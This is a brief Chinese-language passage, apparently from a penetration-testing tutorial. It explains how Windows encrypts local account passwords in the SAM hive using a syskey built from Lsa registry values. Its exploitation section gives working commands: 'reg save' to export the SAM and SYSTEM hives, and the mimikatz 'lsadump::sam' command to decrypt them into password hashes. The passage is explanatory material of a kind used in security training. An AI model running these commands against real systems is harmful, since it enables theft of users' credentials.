二、基础知识

sam文件:是用来存储本地用户账号密码的文件的数据库

system文件:里面有对sam文件进行加密和加密的密钥

存储路径

SAM文件路径:%SystemRoot%\system32\config
SYSTEM文件路径:%SystemRoot%\system32\config


三、原理

1、syskey

通过读取HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的键值JD、Skew1、GBG和Data中的内容,拼接成syskey,是用来加密SAM的。

​https://github.com/3gstudent/Writeup/blob/master/getsyskey.cpp​

2、使用syskey解密HKLM\SAM

读取注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下每个用户中F项和V项的内容,使用syskey进行一系列的解密

四、利用

1、导出sam和system

reg save hklm\sam sam.hiv
reg save hklm\system system.hiv


2、解密工具mimikatz

lsadump::sam /sam:sam.hiv /system:system.hiv